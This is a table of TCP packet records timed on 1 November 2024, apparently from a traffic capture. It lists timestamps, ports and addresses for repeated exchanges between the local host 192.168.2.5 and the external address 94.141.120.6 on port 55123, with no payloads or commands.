Nov 1, 2024 08:37:12.446763992 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.446813107 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.446857929 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.446899891 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.446990967 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.447036028 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.447038889 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.447082996 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.447438002 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.447484970 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.447643042 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.447691917 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.447716951 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.447762966 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.447787046 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.447827101 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.447851896 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.447886944 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.451725960 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.451776981 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.451868057 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.451908112 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.451917887 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.451946974 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.451955080 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.451958895 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.451982975 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.452001095 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.452246904 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.452294111 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.452487946 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.452496052 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.452527046 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.452579021 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.452601910 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.452622890 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.452640057 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.452747107 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.452754974 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.452795029 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.456614971 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.456665993 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.456746101 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.456787109 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.456818104 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.456861973 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.457026958 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.457041979 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.457067966 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.457087040 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.457124949 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.457170963 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.457361937 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.457406044 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.457431078 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.457441092 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.457479954 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.457591057 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.457633972 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.457643986 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.457684040 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.457685947 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.457731009 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.461503983 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.461561918 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.461685896 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.461730957 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.461739063 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.461762905 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.461788893 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.461806059 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.461899996 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.461940050 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.461980104 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.462018967 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.462025881 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.462059021 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.462178946 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.462219000 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.462260008 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.462285995 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.462306023 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.462327957 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.462402105 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.462409973 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.462436914 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.462451935 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.462511063 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.462553978 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.462676048 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.462723970 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.466444969 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.466510057 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.466578960 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.466618061 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.466630936 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.466672897 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.466742992 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.466779947 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.466823101 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.466831923 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.466866970 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.466964006 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.467047930 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.467078924 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.467277050 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.467319965 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.467390060 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.467525959 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.471365929 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.471375942 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.471425056 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.471487999 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.471534967 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.471628904 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.261192083 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.263525009 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.268549919 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.268619061 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.269249916 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.274081945 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.311862946 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.624767065 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.630100012 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.630129099 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.630162001 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.630171061 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.630178928 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.630175114 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.630187988 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.630204916 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.630245924 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.630249023 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.630254984 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.630259037 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.630328894 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.635191917 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.635204077 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.635221004 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.635230064 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.635241032 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.635251045 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.635276079 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.635349035 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.635405064 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.636487007 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.682524920 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.682691097 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.730340958 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.732078075 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.782386065 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.784667015 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.834378004 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.834804058 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.873691082 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.874022007 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.874161959 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.879133940 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879144907 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879224062 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.879287004 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879297018 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879350901 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.879477978 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879487991 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879553080 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.879734993 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879744053 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879754066 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879771948 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879790068 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.879826069 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879828930 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.879842997 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879873037 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.879893064 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.879901886 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879910946 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879951000 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.879957914 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.879960060 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880012035 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.880426884 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880436897 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880451918 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880461931 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880470037 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880479097 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880491018 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.880516052 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.880527973 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880533934 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.880537033 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880546093 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880554914 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880562067 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880573034 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880582094 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.880589008 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880599022 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880609035 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.880649090 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.880745888 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880755901 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880764008 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880773067 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880781889 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.880800962 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.880819082 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.880835056 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884011984 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884021044 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884025097 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884033918 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884048939 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884057045 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884064913 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884073973 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884082079 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884092093 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884099960 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884109974 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884113073 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884118080 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884129047 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884138107 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884149075 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884157896 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884166002 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884167910 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884195089 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884216070 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884217024 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884227037 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884274960 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884311914 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884320974 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884331942 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884366989 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884371042 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884413958 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884438992 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884460926 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884485006 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884499073 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884569883 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884615898 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884617090 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884627104 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884639025 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884680033 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884685040 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884694099 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884710073 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884717941 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884741068 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884766102 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884787083 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884831905 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884866953 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884919882 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.884932041 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884948969 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884958982 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884978056 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884985924 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884994030 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.884998083 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885030985 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885138988 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885148048 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885155916 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885166883 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885176897 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885185003 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885207891 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885241985 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885272026 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885282040 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885325909 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885332108 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885380030 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885443926 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885493040 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885510921 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885556936 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885565042 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885565996 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885607004 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885608912 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885616064 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885663033 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885665894 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885674953 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885708094 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885715961 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885720968 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885725975 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885756016 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885767937 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885775089 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885776997 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885797977 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885818958 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885828972 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885829926 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885871887 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885879993 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885890007 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885905027 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.885934114 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.885957003 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.926316977 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.926518917 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.926670074 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.926753044 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.926857948 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.926907063 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.974437952 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.974672079 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.990217924 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.990458012 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.990598917 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.990679026 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.990777016 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.990840912 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.995481014 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995491982 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995501995 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995512009 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995528936 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995537996 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995587111 CET	55123	49754	94.141.120.6	192.168.2.5
